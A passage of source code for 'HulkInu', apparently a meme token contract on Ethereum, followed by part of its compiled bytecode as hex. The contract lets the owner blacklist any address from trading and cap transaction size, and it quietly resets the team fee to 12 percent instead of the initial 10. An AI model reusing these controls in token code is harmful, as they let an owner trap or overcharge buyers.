swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract HulkInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HulkInu"; string private constant _symbol = 'HULKINU'; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e6b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e50565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061300d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061291f565b61048d565b6040516101e09190612e50565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612885565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613082565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129fb565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612885565b610783565b6040516102b1919061300d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d82565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e6b565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e50565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b2565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a55565b61109c565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128df565b6111e5565b604051610418919061300d565b60405180910390f35b60606040518060400160405280600781526020017f48756c6b496e7500000000000000000000000000000000000000000000000000815250905090565b600061047261046b61126c565b8484611274565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461143f565b61055b846104a661126c565b6105568560405180606001604052806028815260200161378960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61126c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfe9092919063ffffffff16565b611274565b600190509392505050565b61056e61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f4d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f4d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261126c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c62565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5d565b9050919050565b6107dc61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f48554c4b494e5500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61126c565b848461143f565b6001905092915050565b6109b361126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f4d565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133ca565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613323565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661126c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dcb565b50565b610b5761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f4d565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fcd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611274565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128b2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128b2565b6040518363ffffffff1660e01b8152600401610df9929190612d9d565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128b2565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612def565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a82565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611046929190612dc6565b602060405180830381600087803b15801561106057600080fd5b505af1158015611074573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110989190612a28565b5050565b6110a461126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890612f4d565b60405180910390fd5b60008111611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90612f0d565b60405180910390fd5b6111a3606461119583683635c9adc5dea0000061205390919063ffffffff16565b6120ce90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111da919061300d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112db90612fad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b90612ecd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611432919061300d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612e8d565b60405180910390fd5b60008111611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612f6d565b60405180910390fd5b61156a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115d857506115a8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3b57600f60179054906101000a900460ff161561180b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561170e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175461126c565b73ffffffffffffffffffffffffffffffffffffffff1614806117ca5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b261126c565b73ffffffffffffffffffffffffffffffffffffffff16145b611809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180090612fed565b60405180910390fd5b5b5b60105481111561181a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118be5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119725750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e05750600f60179054906101000a900460ff165b15611a815742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3057600080fd5b603c42611a3d9190613143565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8c30610783565b9050600f60159054906101000a900460ff16158015611af95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b115750600f60169054906101000a900460ff165b15611b3957611b1f81611dcb565b60004790506000811115611b3757611b3647611c62565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bec57600090505b611bf884848484612118565b50505050565b6000838311158290611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d9190612e6b565b60405180910390fd5b5060008385611c559190613224565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb26002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cdd573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2e6002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b5050565b6000600654821115611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b90612ead565b60405180910390fd5b6000611dae612145565b9050611dc381846120ce90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0357611e026133f9565b5b604051908082528060200260200182016040528015611e315781602001602082028036833780820191505090505b5090503081600081518110611e4957611e486133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eeb57600080fd5b505afa158015611eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2391906128b2565b81600181518110611f3757611f366133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611274565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612002959493929190613028565b600060405180830381600087803b15801561201c57600080fd5b505af1158015612030573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206657600090506120c8565b6000828461207491906131ca565b90508284826120839190613199565b146120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba90612f2d565b60405180910390fd5b809150505b92915050565b600061211083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612170565b905092915050565b80612126576121256121d3565b5b612131848484612204565b8061213f5761213e6123cf565b5b50505050565b60008060006121526123e1565b9150915061216981836120ce90919063ffffffff16565b9250505090565b600080831182906121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ae9190612e6b565b60405180910390fd5b50600083856121c69190613199565b9050809150509392505050565b60006008541480156121e757506000600954145b156121f157612202565b600060088190555060006009819055505b565b60008060008060008061221687612443565b95509550955095509550955061227486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235581612553565b61235f8483612610565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bc919061300d565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea000009050612417683635c9adc5dea000006006546120ce90919063ffffffff16565b82101561243657600654683635c9adc5dea0000093509350505061243f565b81819350935050505b9091565b60008060008060008060008060006124608a60085460095461264a565b9250925092506000612470612145565b905060008060006124838e8787876126e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bfe565b905092915050565b60008082846125049190613143565b905083811015612549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254090612eed565b60405180910390fd5b8091505092915050565b600061255d612145565b90506000612574828461205390919063ffffffff16565b90506125c881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612625826006546124ab90919063ffffffff16565b600681905550612640816007546124f590919063ffffffff16565b6007819055505050565b6000806000806126766064612668888a61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126a06064612692888b61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126c9826126bb858c6124ab90919063ffffffff16565b6124ab90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f9858961205390919063ffffffff16565b90506000612710868961205390919063ffffffff16565b90506000612727878961205390919063ffffffff16565b905060006127508261274285876124ab90919063ffffffff16565b6124ab90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277c612777846130c2565b61309d565b9050808382526020820190508285602086028201111561279f5761279e61342d565b5b60005b858110156127cf57816127b588826127d9565b8452602084019350602083019250506001810190506127a2565b5050509392505050565b6000813590506127e881613743565b92915050565b6000815190506127fd81613743565b92915050565b600082601f83011261281857612817613428565b5b8135612828848260208601612769565b91505092915050565b6000813590506128408161375a565b92915050565b6000815190506128558161375a565b92915050565b60008135905061286a81613771565b92915050565b60008151905061287f81613771565b92915050565b60006020828403121561289b5761289a613437565b5b60006128a9848285016127d9565b91505092915050565b6000602082840312156128c8576128c7613437565b5b60006128d6848285016127ee565b91505092915050565b600080604083850312156128f6576128f5613437565b5b6000612904858286016127d9565b9250506020612915858286016127d9565b9150509250929050565b60008060006060848603121561293857612937613437565b5b6000612946868287016127d9565b9350506020612957868287016127d9565b92505060406129688682870161285b565b9150509250925092565b6000806040838503121561298957612988613437565b5b6000612997858286016127d9565b92505060206129a88582860161285b565b9150509250929050565b6000602082840312156129c8576129c7613437565b5b600082013567ffffffffffffffff8111156129e6576129e5613432565b5b6129f284828501612803565b91505092915050565b600060208284031215612a1157612a10613437565b5b6000612a1f84828501612831565b91505092915050565b600060208284031215612a3e57612a3d613437565b5b6000612a4c84828501612846565b91505092915050565b600060208284031215612a6b57612a6a613437565b5b6000612a798482850161285b565b91505092915050565b600080600060608486031215612a9b57612a9a613437565b5b6000612aa986828701612870565b9350506020612aba86828701612870565b9250506040612acb86828701612870565b9150509250925092565b6000612ae18383612aed565b60208301905092915050565b612af681613258565b82525050565b612b0581613258565b82525050565b6000612b16826130fe565b612b208185613121565b9350612b2b836130ee565b8060005b83811015612b5c578151612b438882612ad5565b9750612b4e83613114565b925050600181019050612b2f565b5085935050505092915050565b612b728161326a565b82525050565b612b81816132ad565b82525050565b6000612b9282613109565b612b9c8185613132565b9350612bac8185602086016132bf565b612bb58161343c565b840191505092915050565b6000612bcd602383613132565b9150612bd88261344d565b604082019050919050565b6000612bf0602a83613132565b9150612bfb8261349c565b604082019050919050565b6000612c13602283613132565b9150612c1e826134eb565b604082019050919050565b6000612c36601b83613132565b9150612c418261353a565b602082019050919050565b6000612c59601d83613132565b9150612c6482613563565b602082019050919050565b6000612c7c602183613132565b9150612c878261358c565b604082019050919050565b6000612c9f602083613132565b9150612caa826135db565b602082019050919050565b6000612cc2602983613132565b9150612ccd82613604565b604082019050919050565b6000612ce5602583613132565b9150612cf082613653565b604082019050919050565b6000612d08602483613132565b9150612d13826136a2565b604082019050919050565b6000612d2b601783613132565b9150612d36826136f1565b602082019050919050565b6000612d4e601183613132565b9150612d598261371a565b602082019050919050565b612d6d81613296565b82525050565b612d7c816132a0565b82525050565b6000602082019050612d976000830184612afc565b92915050565b6000604082019050612db26000830185612afc565b612dbf6020830184612afc565b9392505050565b6000604082019050612ddb6000830185612